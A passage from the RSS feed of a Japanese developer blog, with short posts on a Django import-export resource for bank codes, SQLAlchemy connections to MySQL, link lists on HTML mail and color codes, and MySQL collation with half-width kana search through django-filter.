&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; import_export &lt;span style="color:#f92672"&gt;import&lt;/span&gt; resources
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; .. &lt;span style="color:#f92672"&gt;import&lt;/span&gt; models
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;BankCodeResource&lt;/span&gt;(resources&lt;span style="color:#f92672"&gt;.&lt;/span&gt;ModelResource):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Meta&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; model &lt;span style="color:#f92672"&gt;=&lt;/span&gt; models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;BankCode
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; import_id_fields &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;code&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;branch_code&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fields &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [&lt;span style="color:#e6db74"&gt;&amp;#34;code&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;branch_code&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;kana&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;branch_kana&amp;#34;&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;branch_name&amp;#34;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;before_import_row&lt;/span&gt;(self, row, row_number&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;, &lt;span style="color:#f92672"&gt;**&lt;/span&gt;kwargs):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; field &lt;span style="color:#f92672"&gt;in&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_meta&lt;span style="color:#f92672"&gt;.&lt;/span&gt;fields:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ヘッダーは verbose_name に合わせている&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; value &lt;span style="color:#f92672"&gt;=&lt;/span&gt; row&lt;span style="color:#f92672"&gt;.&lt;/span&gt;pop(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_meta&lt;span style="color:#f92672"&gt;.&lt;/span&gt;model&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_meta&lt;span style="color:#f92672"&gt;.&lt;/span&gt;get_field(field)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;verbose_name, &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; value &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# コードは0埋めする&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; field &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;code&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; value &lt;span style="color:#f92672"&gt;=&lt;/span&gt; str(value)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;zfill(&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;elif&lt;/span&gt; field &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;branch_code&amp;#34;&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; value &lt;span style="color:#f92672"&gt;=&lt;/span&gt; str(value)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;zfill(&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; row[field] &lt;span style="color:#f92672"&gt;=&lt;/span&gt; value
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>ijavascript</title><link>https://hdknr.github.io/blogs/posts/2023/06/ijavascript/</link><pubDate>Wed, 07 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/ijavascript/</guid><description>&lt;h2 id="ijavascript"&gt;ijavascript&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://n-riesco.github.io/ijavascript/index.html"&gt;https://n-riesco.github.io/ijavascript/index.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>pandas MySQL</title><link>https://hdknr.github.io/blogs/posts/2023/06/pandas-mysql/</link><pubDate>Wed, 07 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/pandas-mysql/</guid><description>&lt;h2 id="pandas-mysql"&gt;pandas: MySQL&lt;/h2&gt;
&lt;p&gt;sqlalchemy で mysqlclient を使うには、まず mysqlclient をインストールする必要があります。次に、SQLAlchemy のエンジン構成で mysqlclient を使用するように設定します。以下は、Qiita の記事 ¹ からの例です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; sqlalchemy &lt;span style="color:#f92672"&gt;import&lt;/span&gt; create_engine
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;engine &lt;span style="color:#f92672"&gt;=&lt;/span&gt; create_engine(&lt;span style="color:#e6db74"&gt;&amp;#39;mysql+mysqldb://user:password@host/dbname&amp;#39;&lt;/span&gt;, echo&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;また、CData Python Connector for MySQL³ を使用することもできます。これは、SQLAlchemy ORM を使用して Python で MySQL データに連携するためのドライバです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; sqlalchemy &lt;span style="color:#f92672"&gt;import&lt;/span&gt; create_engine
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;engine &lt;span style="color:#f92672"&gt;=&lt;/span&gt; create_engine(&lt;span style="color:#e6db74"&gt;&amp;#34;mysql+mysqlconnector://user:password@host/dbname&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;どちらの方法でも、SQLAlchemy で MySQL に接続することができます。&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/6/7&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) 【Python】SQLAlchemy で MySQL に接続する - Qiita. &lt;a href="https://qiita.com/curry__30/items/432a21426c02a68e77e8"&gt;https://qiita.com/curry__30/items/432a21426c02a68e77e8&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) SQLAlchemy ORM を使って、Python で MySQL データに連携 &amp;hellip;. &lt;a href="https://www.cdata.com/jp/kb/tech/mysql-python-sqlalchemy.rst"&gt;https://www.cdata.com/jp/kb/tech/mysql-python-sqlalchemy.rst&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) 【Python】SQLAlchemy を試してみる - Qiita. &lt;a href="https://qiita.com/ktamido/items/ebdbe5a85dbc3e6004ae"&gt;https://qiita.com/ktamido/items/ebdbe5a85dbc3e6004ae&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="django"&gt;django&lt;/h2&gt;
&lt;p&gt;.env に　 django の &lt;code&gt;DATABASE_URL&lt;/code&gt; が定義されているとする&lt;/p&gt;</description></item><item><title>HTML メール</title><link>https://hdknr.github.io/blogs/posts/2023/06/html-%E3%83%A1%E3%83%BC%E3%83%AB/</link><pubDate>Mon, 05 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/html-%E3%83%A1%E3%83%BC%E3%83%AB/</guid><description>&lt;h2 id="html-メール"&gt;HTML メール&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blastmail.jp/blog/mail/htmlmail-making"&gt;HTML メールの作り方を 5 分で解説！簡単に作成する方法もこっそり教えます。&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>color</title><link>https://hdknr.github.io/blogs/posts/2023/06/color/</link><pubDate>Thu, 01 Jun 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/06/color/</guid><description>&lt;h2 id="html-カラーコードカラーネーム"&gt;HTML カラーコード/カラーネーム&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.rapidtables.org/ja/web/color/html-color-codes.html"&gt;HTML カラーコード&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://beginners-hp.com/color-code.html"&gt;CSS カラーコード一覧&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.htmq.com/color/colorname.shtml"&gt;カラーネーム&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://memopad.bitter.jp/w3c/css3/css3_ref_colornames.html"&gt;CSS3 色名&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="vscode"&gt;VSCode&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://marketplace.visualstudio.com/items?itemName=johnpapa.vscode-peacock"&gt;Peacock&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://creators.members.co.jp/2021/02/knowledge_007/"&gt;VSCode を自分の好きな色に染める&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>MySQL 半角カナ検索</title><link>https://hdknr.github.io/blogs/posts/2023/05/mysql-%E5%8D%8A%E8%A7%92%E3%82%AB%E3%83%8A%E6%A4%9C%E7%B4%A2/</link><pubDate>Wed, 31 May 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/05/mysql-%E5%8D%8A%E8%A7%92%E3%82%AB%E3%83%8A%E6%A4%9C%E7%B4%A2/</guid><description>&lt;h2 id="utf8mb4_0900_ai_ci"&gt;utf8mb4_0900_ai_ci&lt;/h2&gt;
&lt;p&gt;「utf8mb4_0900_ai_ci」という照合順序は、MySQL 8.0 から標準になった照合順序で、Unicode 9.0 の文字セットをサポートしています。¹&lt;/p&gt;
&lt;p&gt;この照合順序は、文字列の比較において、アクセントや大小文字を区別せずに比較することができます。¹&lt;/p&gt;
&lt;p&gt;また、日本語のようなマルチバイト文字を含む文字列を扱う場合にも適しています。¹¹:
&lt;a href="https://qiita.com/seltzer/items/8b5d8a61591e72715d5b"&gt;MySQL 8.0 の照合順序で標準になった「utf8mb4_0900_ai_ci」とは - Qiita&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;ソース: Bing との会話 2023/5/31&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;(1) MySQL 8.0 の照合順序で標準になった「utf8mb4_0900_ai_ci &amp;hellip;. &lt;a href="https://qiita.com/seltzer/items/8b5d8a61591e72715d5b"&gt;https://qiita.com/seltzer/items/8b5d8a61591e72715d5b&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(2) MySQL :: MySQL 8.0 リファレンスマニュアル :: 10.5 &amp;hellip;. &lt;a href="https://dev.mysql.com/doc/refman/8.0/ja/charset-applications.html"&gt;https://dev.mysql.com/doc/refman/8.0/ja/charset-applications.html&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;(3) MySQL :: MySQL 8.0 リファレンスマニュアル :: 10.4 接続文字 &amp;hellip;. &lt;a href="https://dev.mysql.com/doc/refman/8.0/ja/charset-connection.html"&gt;https://dev.mysql.com/doc/refman/8.0/ja/charset-connection.html&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="半角カナの濁点ありは照合順序の設定では解決できない"&gt;半角カナの濁点ありは照合順序の設定では解決できない&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;utf8mb4_0900_ai_ci&lt;/code&gt; での検索:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;where&lt;/th&gt;
&lt;th&gt;結果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ベル&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ヘル&lt;/code&gt;, &lt;code&gt;ベル&lt;/code&gt;, &lt;code&gt;ﾍﾙ&lt;/code&gt; (つまり、 &lt;code&gt;ﾍﾞﾙ&lt;/code&gt; は一致しない)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ヘル&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ヘル&lt;/code&gt;, &lt;code&gt;ベル&lt;/code&gt;, &lt;code&gt;ﾍﾙ&lt;/code&gt; (つまり、 &lt;code&gt;ﾍﾞﾙ&lt;/code&gt; は一致しない)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ﾍﾙ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ヘル&lt;/code&gt;, &lt;code&gt;ベル&lt;/code&gt;, &lt;code&gt;ﾍﾙ&lt;/code&gt; (つまり、 &lt;code&gt;ﾍﾞﾙ&lt;/code&gt; は一致しない)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ﾍﾞﾙ&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ﾍﾞﾙ&lt;/code&gt; (のみ)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="django-filter-method-フィルターで対応"&gt;django-filter: method フィルターで対応&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;23
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;24
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;25
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;26
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;27
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; functools &lt;span style="color:#f92672"&gt;import&lt;/span&gt; reduce
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; operator &lt;span style="color:#f92672"&gt;import&lt;/span&gt; or_
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; django_filters &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; DF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; jaconv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;filter_icontains_mix&lt;/span&gt;(queryset, name, value):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;全角半角を区別しないで検索(濁点対応)&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; value:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; queryset
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; values &lt;span style="color:#f92672"&gt;=&lt;/span&gt; set([jaconv&lt;span style="color:#f92672"&gt;.&lt;/span&gt;h2z(value), jaconv&lt;span style="color:#f92672"&gt;.&lt;/span&gt;z2h(value)])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
